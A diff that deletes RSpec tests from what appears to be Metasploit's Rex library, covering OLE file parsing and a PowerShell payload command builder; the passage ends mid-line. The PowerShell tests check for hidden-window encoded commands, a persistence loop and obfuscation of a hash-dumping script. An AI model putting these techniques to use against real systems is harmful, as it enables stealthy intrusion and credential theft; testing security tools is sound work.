expect(dir_entry.instance_variable_get(:@_ctime)).to eq("\x00" * 8) - end - - it "parses _mtime from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_mtime)).to eq("\x00" * 8) - end - - it "parses _sectStart from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_END) - end - - it "parses _ulSize from buf" do - dir_entry.from_s(sid, valid_direntry) - expect(dir_entry.instance_variable_get(:@_ulSize)).to eq(0) - end - end - end - - describe "#pack" do - it "returns an string" do - expect(dir_entry.pack).to be_an(String) - end - - it "includes the unicode dir entry name" do - expect(dir_entry.pack).to match(/R\x00o\x00o\x00t\x00 \x00E\x00n\x00t\x00r\x00y\x00/) - end - - context "when _sectStart is undefined" do - it "sets _sectStart to SECT_END" do - dir_entry.instance_variable_set(:@_sectStart, nil) - dir_entry.pack - expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_END) - end - end - - context "when _sectStart is defined" do - it "doesn't modify _sectStart value" do - dir_entry.instance_variable_set(:@_sectStart, Rex::OLE::SECT_FREE) - dir_entry.pack - expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_FREE) - end - end - - it "sets _cb as the unicode length of the name" do - dir_entry.pack - expect(dir_entry.instance_variable_get(:@_cb)).to eq("Root Entry\x00".length * 2) - end - end - - describe "#to_s" do - it "returns an string" do - expect(dir_entry.to_s).to be_an(String) - end - - it "starts with {" do - expect(dir_entry.to_s).to start_with('{') - end - - it "ends with }" do - expect(dir_entry.to_s).to end_with('}') - end - - it "contains the entry name" do - expect(dir_entry.to_s).to match(/Root Entry/) - end - - context "when _sectStart is undefined" do - it "sets _sectStart to SECT_END" do - dir_entry.instance_variable_set(:@_sectStart, nil) - dir_entry.to_s - expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_END) - end - end - - context "when _sectStart is defined" do - it "doesn't modify _sectStart value" do - dir_entry.instance_variable_set(:@_sectStart, Rex::OLE::SECT_FREE) - dir_entry.to_s - expect(dir_entry.instance_variable_get(:@_sectStart)).to eq(Rex::OLE::SECT_FREE) - end - end - - it "sets _cb as the unicode length of the name" do - dir_entry.to_s - expect(dir_entry.instance_variable_get(:@_cb)).to eq("Root Entry\x00".length * 2) - end - end - -end diff --git a/spec/lib/rex/ole/header_spec.rb b/spec/lib/rex/ole/header_spec.rb deleted file mode 100644 index 79d8573302..0000000000 --- a/spec/lib/rex/ole/header_spec.rb +++ /dev/null @@ -1,355 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/ole' - -RSpec.describe Rex::OLE::Header do - before(:example) do - Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) - end - - subject(:header) do - described_class.new - end - - describe ".new" do - it "returns a Rex::OLE::Header instance" do - expect(described_class.new).to be_a(Rex::OLE::Header) - end - - it { expect(header.instance_variable_get(:@_abSig)).to eq(Rex::OLE::SIG) } - it { expect(header.instance_variable_get(:@_clid)).to be_a(Rex::OLE::CLSID) } - it { expect(header.instance_variable_get(:@_uByteOrder)).to eq(Rex::OLE::LITTLE_ENDIAN) } - it { expect(header.instance_variable_get(:@_uMinorVersion)).to eq(0x3e) } - it { expect(header._uMajorVersion).to eq(0x03) } - it { expect(header.instance_variable_get(:@_uSectorShift)).to eq(9) } - it { expect(header._uMiniSectorShift).to eq(6) } - it { expect(header.instance_variable_get(:@_csectDir)).to be_nil } - it { expect(header._csectFat).to be_nil } - it { expect(header._sectDirStart).to be_nil } - it { expect(header.instance_variable_get(:@_signature)).to eq(0) } - it { expect(header._ulMiniSectorCutoff).to eq(0x1000) } - it { expect(header._sectMiniFatStart).to eq(Rex::OLE::SECT_END) } - it { expect(header._csectMiniFat).to eq(0) } - it { expect(header._sectDifStart).to eq(Rex::OLE::SECT_END) } - it { expect(header._csectDif).to eq(0) } - it { expect(header._sectFat).to be_an(Array) } - it { expect(header.instance_variable_get(:@_sectFat)).to be_empty } - it { expect(header.sector_size).to eq(1 << 9) } - it { expect(header.mini_sector_size).to eq(1 << 6) } - it { expect(header.idx_per_sect).to eq((1 << 9) / 4) } - end - - describe "#set_defaults" do - it "sets OLECF signature" do - header.set_defaults - expect(header.instance_variable_get(:@_abSig)).to eq(Rex::OLE::SIG) - end - - it "setup a class identifier (guid)" do - header.set_defaults - expect(header.instance_variable_get(:@_clid)).to be_a(Rex::OLE::CLSID) - end - - it "sets byte order identifier as little endian" do - header.set_defaults - expect(header.instance_variable_get(:@_uByteOrder)).to eq(Rex::OLE::LITTLE_ENDIAN) - end - - it "sets the minor version to 0x3e" do - header.set_defaults - expect(header.instance_variable_get(:@_uMinorVersion)).to eq(0x3e) - end - - it "sets the major version to 0x3" do - header.set_defaults - expect(header._uMajorVersion).to eq(0x03) - end - - it "sets the size of sectors to 9" do - header.set_defaults - expect(header.instance_variable_get(:@_uSectorShift)).to eq(9) - end - - it "sets the size of mini-sectors to 6" do - header.set_defaults - expect(header._uMiniSectorShift).to eq(6) - end - - it "sets the number of sectors in the directory chain to nil" do - header.set_defaults - expect(header.instance_variable_get(:@_csectDir)).to be_nil - end - - it "sets the number of sectors in the FAT chain to nil" do - header.set_defaults - expect(header._csectFat).to be_nil - end - - it "sets first sector in the directory chain to nil" do - header.set_defaults - expect(header._sectDirStart).to be_nil - end - - it "sets the signature used for transactioning to zero" do - header.set_defaults - expect(header.instance_variable_get(:@_signature)).to eq(0) - end - - it "sets the maximum size of mini-streams to 4096" do - header.set_defaults - expect(header._ulMiniSectorCutoff).to eq(0x1000) - end - - it "sets the first sector in the mini-FAT chain to end of chain" do - header.set_defaults - expect(header._sectMiniFatStart).to eq(Rex::OLE::SECT_END) - end - - it "sets the number of sectors in the mini-FAT chain to 0" do - header.set_defaults - expect(header._csectMiniFat).to eq(0) - end - - it "sets the first sector in the DIF chain to end of chain" do - header.set_defaults - expect(header._sectDifStart).to eq(Rex::OLE::SECT_END) - end - - it "sets the number of sectors in the DIF chain to 0" do - header.set_defaults - expect(header._csectDif).to eq(0) - end - - it "creates an array for the sectors of the first 109 FAT sectors" do - header.set_defaults - expect(header._sectFat).to be_an(Array) - end - - it "creates an empty array for the FAT sectors" do - header.set_defaults - expect(header.instance_variable_get(:@_sectFat)).to be_empty - end - end - - describe "#to_s" do - subject(:header_string) { header.to_s } - - it "returns an String" do - expect(header_string).to be_an(String) - end - - it "starts with {" do - expect(header_string).to start_with('{') - end - - it "ends with {" do - expect(header_string).to end_with('}') - end - - it "includes the OLECF signature" do - expect(header_string).to match(/_abSig => "\\xd0\\xcf\\x11\\xe0\\xa1\\xb1\\x1a\\xe1"/) - end - - it "includes the class identifier value" do - expect(header_string).to match(/_clid => 00000000-0000-0000-0000-000000000000/) - end - - it "includes the minor version value" do - expect(header_string).to match(/_uMinorVersion => 0x003e/) - end - - it "includes the major version value" do - expect(header_string).to match(/_uMajorVersion => 0x0003/) - end - - it "includes the byte order identifier value" do - expect(header_string).to match(/_uByteOrder => 0xfffe/) - end - - it "includes the size of sectors value" do - expect(header_string).to match(/_uSectorShift => 0x0009/) - end - - it "includes the size of mini-sectors value" do - expect(header_string).to match(/_uMiniSectorShift => 0x0006/) - end - - it "includes the number of sectors in the directory chain" do - expect(header_string).to match(/_csectDir => UNALLOCATED/) - end - - it "includes the number of sectors in the FAT chain" do - expect(header_string).to match(/_csectFat => UNALLOCATED/) - end - - it "includes the first sector in the directory chain" do - expect(header_string).to match(/_sectDirStart => UNALLOCATED/) - end - - it "includes the signature used for transactioning" do - expect(header_string).to match(/_signature => 0x00000000/) - end - - it "includes the maximum size of mini-streams" do - expect(header_string).to match(/_uMiniSectorCutoff => 0x00001000/) - end - - it "includes the first sector in the mini-FAT chain value" do - expect(header_string).to match(/_sectMiniFatStart => 0xfffffffe/) - end - - it "includes the number of sectors in the mini-FAT chain" do - expect(header_string).to match(/_csectMiniFat => 0x00000000/) - end - - it "includes the first sector in the DIF chain value" do - expect(header_string).to match(/_sectDifStart => 0xfffffffe/) - end - - it "includes the number of sectors in the DIF chain" do - expect(header_string).to match(/_csectDif => 0x00000000/) - end - end - - describe "#read" do - context "when reading empty header" do - let(:empty_fd) do - s = '' - StringIO.new(s, 'rb') - end - - it "raises NoMethodError" do - expect { header.read(empty_fd) }.to raise_error(NoMethodError) - end - end - - - context "when reading header with invalid signature" do - let(:incorrect_fd) do - s = 'A' * Rex::OLE::HDR_SZ - StringIO.new(s, 'rb') - end - - it "raises RuntimeError" do - expect { header.read(incorrect_fd) }.to raise_error(RuntimeError) - end - end - - context "when reading header with valid signature" do - let(:correct_fd) do - hdr = "" - hdr << Rex::OLE::SIG - hdr << 'A' * 16 # @_clid - hdr << 'BB' # @_uMinorVersion - hdr << 'CC' # @_uMajorVersion - hdr << "\xfe\xff" # @_uByteOrder - hdr << 'EE' # @_uSectorShift - hdr << 'FF' # @_uMiniSectorShift - hdr << '123456' # padding - hdr << 'GGGG' # @_csectDir - hdr << 'HHHH' # @_csectFat - hdr << 'IIII' # @_sectDirStart - hdr << 'JJJJ' # @_signature - hdr << 'KKKK' # @_ulMiniSectorCutoff - hdr << 'LLLL' # @_sectMiniFatStart - hdr << 'MMMM' # @_csectMiniFat - hdr << 'NNNN' # @_sectDifStart - hdr << 'OOOO' # @_csectDif - hdr << 'P' * 109 * 4 # @_sectFat - - StringIO.new(hdr, 'rb') - end - - it "sets clsid from input" do - header.read(correct_fd) - expect(header.instance_variable_get(:@_clid).to_s).to eq("41414141-4141-4141-4141-414141414141") - end - - it "sets minor version from input" do - header.read(correct_fd) - expect(header.instance_variable_get(:@_uMinorVersion)).to eq(0x4242) - end - - it "sets major version from input" do - header.read(correct_fd) - expect(header._uMajorVersion).to eq(0x4343) - end - - it "sets byte order from input" do - header.read(correct_fd) - expect(header.instance_variable_get(:@_uByteOrder)).to eq(Rex::OLE::LITTLE_ENDIAN) - end - - it "sets the size of sectors from input" do - header.read(correct_fd) - expect(header.instance_variable_get(:@_uSectorShift)).to eq(0x4545) - end - - it "sets the size of mini-sectors from input" do - header.read(correct_fd) - expect(header._uMiniSectorShift).to eq(0x4646) - end - - it "sets the number of sectors in the directory chain from input" do - header.read(correct_fd) - expect(header.instance_variable_get(:@_csectDir)).to eq(0x47474747) - end - - it "sets the number of sectors in the FAT chain from input" do - header.read(correct_fd) - expect(header._csectFat).to eq(0x48484848) - end - - it "sets the first sector in the directory chain from input" do - header.read(correct_fd) - expect(header._sectDirStart).to eq(0x49494949) - end - - it "sets the signature used for transactioning from input" do - header.read(correct_fd) - expect(header.instance_variable_get(:@_signature)).to eq(0x4a4a4a4a) - end - - it "sets the maximum size of mini-streams from input" do - header.read(correct_fd) - expect(header._ulMiniSectorCutoff).to eq(0x4b4b4b4b) - end - - it "sets the first sector in the mini-FAT chain from input" do - header.read(correct_fd) - expect(header._sectMiniFatStart).to eq(0x4c4c4c4c) - end - - it "sets the number of sectors in the mini-FAT chain from input" do - header.read(correct_fd) - expect(header._csectMiniFat).to eq(0x4d4d4d4d) - end - - it "sets the first sector in the DIF chain from input" do - header.read(correct_fd) - expect(header._sectDifStart).to eq(0x4e4e4e4e) - end - - it "sets the number of sectors in the DIF chain from input" do - header.read(correct_fd) - expect(header._csectDif).to eq(0x4f4f4f4f) - end - - it "creates an array for the FAT sectors from input" do - header.read(correct_fd) - expect(header._sectFat.length).to eq(109) - end - end - end - - describe "#write" do - context "when default header" do - it "writes 76 bytes" do - fd = StringIO.new('', 'wb') - header.write(fd) - expect(fd.string.length).to eq(76) - end - end - end -end diff --git a/spec/lib/rex/ole/minifat_spec.rb b/spec/lib/rex/ole/minifat_spec.rb deleted file mode 100644 index 2de039f85a..0000000000 --- a/spec/lib/rex/ole/minifat_spec.rb +++ /dev/null @@ -1,98 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/ole' - -RSpec.describe Rex::OLE::MiniFAT do - before(:example) do - Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) - end - - let(:storage) do - Rex::OLE::Storage.new - end - - subject(:minifat) do - described_class.new(storage) - end - - describe "#allocate_sector" do - context "when entries is empty" do - it "returns index 0" do - expect(minifat.allocate_sector).to eq(0) - end - - it "allocates idx_per_sect entries" do - minifat.allocate_sector - storage = minifat.instance_variable_get(:@stg) - expect(minifat.length).to eq(storage.header.idx_per_sect) - end - - it "marks the first entry as SECT_END" do - minifat.allocate_sector - expect(minifat[0]).to eq(Rex::OLE::SECT_END) - end - - it "marks the remaining entries as SECT_FREE" do - minifat.allocate_sector - storage = minifat.instance_variable_get(:@stg) - (1..storage.header.idx_per_sect - 1).each do |i| - expect(minifat[i]).to eq(Rex::OLE::SECT_FREE) - end - end - end - - context "when entries include a free sector" do - it "returns the free sector index entry" do - minifat + [1, 2, Rex::OLE::SECT_FREE] - expect(minifat.allocate_sector).to eq(2) - end - end - - context "when entries don't include a free sector" do - it "returns index of a new entry" do - minifat + [1, 2, 3] - expect(minifat.allocate_sector).to eq(3) - end - - it "allocates idx_per_sect entries" do - minifat + [1, 2, 3] - minifat.allocate_sector - storage = minifat.instance_variable_get(:@stg) - expect(minifat.length).to eq(storage.header.idx_per_sect + 3) - end - - it "marks the first entry as SECT_END" do - minifat + [1, 2, 3] - minifat.allocate_sector - expect(minifat[3]).to eq(Rex::OLE::SECT_END) - end - - it "marks the remaining entries as SECT_FREE" do - minifat + [1, 2, 3] - minifat.allocate_sector - storage = minifat.instance_variable_get(:@stg) - (4..3 + storage.header.idx_per_sect - 1).each do |i| - expect(minifat[i]).to eq(Rex::OLE::SECT_FREE) - end - end - end - end - - describe "#read" do - context "when the MiniFAT in the storage is empty" do - it "returns zero" do - expect(minifat.read).to eq(0) - end - end - end - - describe "#write" do - context "when entries is empty" do - it "returns nil" do - expect(minifat.write).to be_nil - end - end - end - -end diff --git a/spec/lib/rex/ole/util_spec.rb b/spec/lib/rex/ole/util_spec.rb deleted file mode 100644 index 54a9fc2afd..0000000000 --- a/spec/lib/rex/ole/util_spec.rb +++ /dev/null @@ -1,409 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/ole' - -RSpec.describe Rex::OLE::Util do - before(:example) do - Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) - end - - describe ".Hexify32array" do - subject(:hex_array) { described_class.Hexify32array(arr) } - - context "when arr is empty" do - let(:arr) { [] } - it "returns empty string" do - is_expected.to be_empty - end - end - - context "when arr is filled" do - let(:arr) { [0, 1, 0x20, 0x40, 0x100, 0x200, 0x12345678] } - - it "returns an string with the hexify array" do - is_expected.to eq('0x00000000 0x00000001 0x00000020 0x00000040 0x00000100 0x00000200 0x12345678') - end - end - end - - describe ".Printable" do - subject(:printable_buf) { described_class.Printable(buf) } - - context "when buf is empty" do - let(:buf) { '' } - it "returns empty string" do - is_expected.to be_empty - end - end - - context "when buf only contains printable chars" do - let(:buf) { 'abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()' } - - it "returns the same string" do - is_expected.to eq(buf) - end - end - - context "when buf contains no printable chars" do - let(:buf) { "abcde\x88" } - - it "returns hex representation for non printable chars" do - is_expected.to eq('abcde\\x88') - end - end - end - - describe ".set_endian" do - subject(:set_endian) { described_class.set_endian(endian) } - let(:endian) { Rex::OLE::LITTLE_ENDIAN } - - it "sets the endian field" do - set_endian - expect(described_class.instance_variable_get(:@endian)).to eq(0xfffe) - end - - it "returns the set endianness" do - is_expected.to eq(0xfffe) - end - end - - describe ".get64" do - subject(:quad_word) { described_class.get64(buf, offset) } - - context "when buf is empty" do - let(:buf) { '' } - let(:offset) { 0 } - - it "raises a null dereference exception" do - expect { quad_word }.to raise_error(NoMethodError) - end - end - - context "when buf is shorter than offset" do - let(:buf) { "\x12\x34\x56\x78\x12\x34\x56\x78" } - let(:offset) { 8 } - - it "raises a null dereference exceptioon" do - expect { quad_word }.to raise_error(NoMethodError) - end - end - - context "when @endian is little endian" do - let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } - let(:offset) { 1 } - - it "returns the little endian quad word at offset" do - described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) - is_expected.to eq(0x8877665544332211) - end - end - - context "when @endian is big endian" do - let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } - let(:offset) { 1 } - - it "returns the big endian quad word at offset" do - described_class.set_endian(Rex::OLE::BIG_ENDIAN) - is_expected.to eq(0x1122334455667788) - end - end - end - - describe ".pack64" do - subject(:packed_quad_word) { described_class.pack64(value) } - let(:value) { 0x1122334455667788 } - - context "when @endian is little endian" do - it "returns the packed little endian quad word" do - described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) - is_expected.to eq("\x88\x77\x66\x55\x44\x33\x22\x11") - end - end - - context "when @endian is big endian" do - it "returns the packed big endian quad word" do - described_class.set_endian(Rex::OLE::BIG_ENDIAN) - is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88") - end - end - end - - describe ".get32" do - subject(:word) { described_class.get32(buf, offset) } - - context "when buf is empty" do - let(:buf) { '' } - let(:offset) { 0 } - - it "returns nil" do - is_expected.to be_nil - end - end - - context "when buf is shorter than offset" do - let(:buf) { "\x12\x34\x56" } - let(:offset) { 4 } - - it "raises a null dereference exceptioon" do - expect { word }.to raise_error(NoMethodError) - end - end - - context "when @endian is little endian" do - let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } - let(:offset) { 1 } - - it "returns the little endian word at offset" do - described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) - is_expected.to eq(0x44332211) - end - end - - context "when @endian is big endian" do - let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } - let(:offset) { 1 } - - it "returns the big endian word at offset" do - described_class.set_endian(Rex::OLE::BIG_ENDIAN) - is_expected.to eq(0x11223344) - end - end - end - - describe ".pack32" do - subject(:packed_word) { described_class.pack32(value) } - let(:value) { 0x11223344 } - - context "when @endian is little endian" do - it "returns the packed little endian word" do - described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) - is_expected.to eq("\x44\x33\x22\x11") - end - end - - context "when @endian is big endian" do - it "returns the packed big endian word at offset" do - described_class.set_endian(Rex::OLE::BIG_ENDIAN) - is_expected.to eq("\x11\x22\x33\x44") - end - end - end - - describe ".get32array" do - subject(:word_array) { described_class.get32array(buf) } - - context "when buf is empty" do - let(:buf) { '' } - - it "returns an empty array" do - is_expected.to eq([]) - end - end - - context "when buf isn't empty" do - let(:buf) { "\x11\x22\x33\x44\x55\x66\x77\x88" } - - context "when @endian is little endian" do - it "unpacks an array of little endian words" do - described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) - is_expected.to eq([0x44332211, 0x88776655]) - end - end - - context "when @endian is big endian" do - it "unpacks an array of big endian words" do - described_class.set_endian(Rex::OLE::BIG_ENDIAN) - is_expected.to eq([0x11223344, 0x55667788]) - end - end - end - end - - describe ".pack32array" do - subject(:packed_word) { described_class.pack32array(arr) } - - context "when arr is empty" do - let(:arr) { [] } - it "returns an empty string" do - is_expected.to eq('') - end - end - - context "when arr isn't empty" do - let(:arr) { [0x11223344, 0x55667788] } - - context "when @endian is little endian" do - it "returns the little endian words array packed" do - described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) - is_expected.to eq("\x44\x33\x22\x11\x88\x77\x66\x55") - end - end - - context "when @endian is big endian" do - it "returns the big endian words array packed" do - described_class.set_endian(Rex::OLE::BIG_ENDIAN) - is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88") - end - end - end - - end - - describe ".get16" do - subject(:half_word) { described_class.get16(buf, offset) } - - context "when buf is empty" do - let(:buf) { '' } - let(:offset) { 0 } - - it "returns nil" do - is_expected.to be_nil - end - end - - context "when buf is shorter than offset" do - let(:buf) { "\x12\x34" } - let(:offset) { 4 } - - it "raises a null dereference exceptioon" do - expect { half_word }.to raise_error(NoMethodError) - end - end - - context "when @endian is little endian" do - let(:buf) { "\x00\x11\x22\x33\x44" } - let(:offset) { 1 } - - it "returns the little endian half word at offset" do - described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) - is_expected.to eq(0x2211) - end - end - - context "when @endian is big endian" do - let(:buf) { "\x00\x11\x22\x33\x44" } - let(:offset) { 1 } - - it "returns the big endian word at offset" do - described_class.set_endian(Rex::OLE::BIG_ENDIAN) - is_expected.to eq(0x1122) - end - end - end - - describe ".pack16" do - subject(:packed_word) { described_class.pack16(value) } - let(:value) { 0x1122 } - - context "when @endian is little endian" do - it "returns the packed little endian word" do - described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) - is_expected.to eq("\x22\x11") - end - end - - context "when @endian is big endian" do - it "returns the packed big endian word at offset" do - described_class.set_endian(Rex::OLE::BIG_ENDIAN) - is_expected.to eq("\x11\x22") - end - end - end - - describe ".get8" do - subject(:byte) { described_class.get8(buf, offset) } - - context "when buf is empty" do - let(:buf) { '' } - let(:offset) { 0 } - - it "returns nil" do - is_expected.to be_nil - end - end - - context "when buf is shorter than offset" do - let(:buf) { "\x12\x34" } - let(:offset) { 4 } - - it "raises a null dereference exceptioon" do - expect { byte }.to raise_error(NoMethodError) - end - end - - let(:buf) { "\x00\x11\x22" } - let(:offset) { 1 } - - it "returns the byte at offset" do - is_expected.to eq(0x11) - end - end - - describe ".pack8" do - subject(:packed_byte) { described_class.pack8(value) } - let(:value) { 0x11 } - - it "returns the packed byte" do - is_expected.to eq("\x11") - end - end - - describe ".getUnicodeString" do - subject(:unicode_string) { described_class.getUnicodeString(buf) } - let(:buf) { "T\x00h\x00i\x00s\x00 \x00i\x00s\x00 \x00a\x00n\x00 \x00u\x00n\x00i\x00c\x00o\x00d\x00e\x00 \x00s\x00t\x00r\x00i\x00n\x00g\x00" } - - it "unpacks unicode string" do - is_expected.to eq('This is an unicode string') - end - - context "when buf contains unicode nulls" do - let(:buf) { "T\x00h\x00\x00i\x00s\x00" } - - it "unpacks unicode string until null" do - is_expected.to eq('Th') - end - end - end - - describe ".putUnicodeString" do - subject(:packed_byte) { described_class.putUnicodeString(buf) } - let(:buf) { 'A' * 32 } - - it "returns the unicode version of the string" do - is_expected.to eq("A\x00" * 32) - end - - context "when buf is shorter than 32" do - let(:buf) { 'A' * 30 } - it "adds null byte padding" do - is_expected.to eq(("A\x00" * 30) + "\x00\x00\x00\x00") - end - end - end - - describe ".name_is_valid" do - subject(:valid_name) { described_class.name_is_valid(name) } - - context "when name length is greater than 31" do - let(:name) { 'A' * 32 } - it "returns nil" do - is_expected.to be_nil - end - end - - context "when name contains [0x00..0x1f] chars" do - let(:name) { "ABCDE\x1f" } - it "returns nil" do - is_expected.to be_nil - end - end - - context "when name doesn't contain [0x00..0x1f] chars" do - let(:name) { "ABCDE\x88" } - it "returns true" do - is_expected.to be_truthy - end - end - end -end diff --git a/spec/lib/rex/powershell/command_spec.rb b/spec/lib/rex/powershell/command_spec.rb deleted file mode 100644 index 6d0c87a67f..0000000000 --- a/spec/lib/rex/powershell/command_spec.rb +++ /dev/null @@ -1,407 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' -require 'msf/core' - -def decompress(code) - Rex::Powershell::Script.new(code).decompress_code -end - -RSpec.describe Rex::Powershell::Command do - let(:example_script) do - File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1") - end - - let(:payload) do - Rex::Text.rand_text_alpha(120) - end - - let(:arch) do - 'x86' - end - - describe "::encode_script" do - it 'should read and encode a sample script file' do - script = subject.encode_script(example_script) - expect(script).to be - expect(script.length).to be > 0 - end - end - - describe "::compress_script" do - context 'with default options' do - it 'should create a compressed script' do - script = File.read(example_script) - compressed = subject.compress_script(script) - expect(compressed.length).to be < script.length - expect(compressed.include?('IO.Compression')).to be_truthy - end - - it 'should create a compressed script with eof' do - script = File.read(example_script) - compressed = subject.compress_script(script, 'end_of_file') - expect(compressed.include?('end_of_file')).to be_truthy - end - end - - context 'when strip_comments is true' do - it 'should strip comments' do - script = File.read(example_script) - compressed = subject.compress_script(script, nil, strip_comments: true) - expect(compressed.length).to be < script.length - end - end - context 'when strip_comment is false' do - it 'shouldnt strip comments' do - script = File.read(example_script) - compressed = subject.compress_script(script, nil, strip_comments: false) - expect(compressed.length).to be < script.length - end - end - - context 'when strip_whitespace is true' do - it 'should strip whitespace' do - script = File.read(example_script) - compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: true) - expect(decompress(compressed).length).to be < script.length - end - end - - context 'when strip_whitespace is false' do - it 'shouldnt strip whitespace' do - script = File.read(example_script) - compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: false) - expect(decompress(compressed).length).to eq(script.length) - end - end - - context 'when sub_vars is true' do - it 'should substitute variables' do - script = File.read(example_script) - compressed = subject.compress_script(script, nil, sub_vars: true) - expect(decompress(compressed).include?('$hashes')).to be_falsey - end - end - - context 'when sub_vars is false' do - it 'shouldnt substitute variables' do - script = File.read(example_script) - compressed = subject.compress_script(script, nil, sub_vars: false) - expect(decompress(compressed).include?('$hashes')).to be_truthy - end - end - - context 'when sub_funcs is true' do - it 'should substitute functions' do - script = File.read(example_script) - compressed = subject.compress_script(script, nil, sub_funcs: true) - expect(decompress(compressed).include?('DumpHashes')).to be_falsey - end - end - - context 'when sub_funcs is false' do - it 'shouldnt substitute variables' do - script = File.read(example_script) - compressed = subject.compress_script(script, nil, sub_funcs: false) - expect(decompress(compressed).include?('DumpHashes')).to be_truthy - end - end - end - - describe "::run_hidden_psh" do - let(:encoded) do - false - end - - context 'when x86 payload' do - it 'should generate code' do - code = subject.run_hidden_psh(payload, arch, encoded) - expect(code.include?('syswow64')).to be_truthy - end - end - - context 'when x64 payload' do - it 'should generate code' do - code = subject.run_hidden_psh(payload, 'x86_64', encoded) - expect(code.include?('sysnative')).to be_truthy - end - end - - context 'when encoded' do - it 'should generate a code including an encoded command' do - code = subject.run_hidden_psh(payload, arch, true) - expect(code.include?('-nop -w hidden -e ')).to be_truthy - end - end - - context 'when command' do - it 'should generate code including a -c command' do - code = subject.run_hidden_psh(payload, arch, encoded) - expect(code.include?('-nop -w hidden -c ')).to be_truthy - end - end - - context 'when old' do - it 'should generate a code including unshorted args' do - code = subject.run_hidden_psh(payload, arch, encoded, method: 'old') - expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ')).to be_truthy - end - end - end - - describe "::cmd_psh_payload" do - let(:template_path) do - File.join(Msf::Config.data_directory, - "templates", - "scripts") - end - - let(:psh_method) do - 'reflection' - end - - context 'when payload is huge' do - it 'should raise an exception' do - except = false - begin - code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch, template_path, method: psh_method) - rescue RuntimeError => e - except = true - end - - expect(except).to be_truthy - end - end - - context 'when persist is true' do - it 'should add a persistance loop' do - code = subject.cmd_psh_payload(payload, arch, template_path, persist: true, method: psh_method) - expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_truthy - end - end - - context 'when persist is false' do - it 'shouldnt add a persistance loop' do - code = subject.cmd_psh_payload(payload, arch, template_path, persist: false, method: psh_method) - expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_falsey - end - end - - context 'when prepend_sleep is set' do - it 'should prepend sleep' do - code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 5, method: psh_method) - expect(decompress(code).include?('Start-Sleep -s ')).to be_truthy - end - end - - context 'when prepend_sleep isnt set' do - it 'shouldnt prepend sleep' do - code = subject.cmd_psh_payload(payload, arch, template_path, method: psh_method) - expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey - end - end - - context 'when prepend_sleep is 0' do - it 'shouldnt prepend sleep' do - code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 0, method: psh_method) - expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey - end - end - - context 'when method is old' do - it 'should generate a command line' do - code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - expect(decompress(code).include?('-namespace Win32Functions')).to be_truthy - end - it 'shouldnt shorten args' do - code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy - end - it 'should include -NoExit' do - code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old') - expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy - end - end - - context 'when method is net' do - it 'should generate a command line' do - code = subject.cmd_psh_payload(payload, arch, template_path, method: 'net') - expect(decompress(code).include?('System.Runtime.InteropServices;')).to be_truthy - end - end - - context 'when method is reflection' do - it 'should generate a command line' do - code = subject.cmd_psh_payload(payload, arch, template_path, method: 'reflection') - expect(decompress(code).include?('GlobalAssemblyCache')).to be_truthy - end - end - - context 'when method is msil' do - it 'should raise an exception' do - except = false - begin - subject.cmd_psh_payload(payload, arch, template_path, method: 'msil') - rescue RuntimeError - except = true - end - expect(except).to be_truthy - end - end - - context 'when method is unknown' do - it 'should raise an exception' do - except = false - begin - subject.cmd_psh_payload(payload, arch, template_path, method: 'blah') - rescue RuntimeError - except = true - end - expect(except).to be_truthy - end - end - - context 'when encode_inner_payload' do - it 'should contain an inner payload with -e' do - code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, method: psh_method) - expect(code.include?(' -e ')).to be_truthy - end - - context 'when no_equals is true' do - it 'should raise an exception' do - except = false - begin - code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, no_equals: true, method: psh_method) - rescue RuntimeError - except = true - end - expect(except).to be_truthy - end - end - end - - context 'when encode_final_payload' do - context 'when no_equals is false' do - it 'should contain a final payload with -e' do - code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: false, method: psh_method) - expect(code.include?(' -e 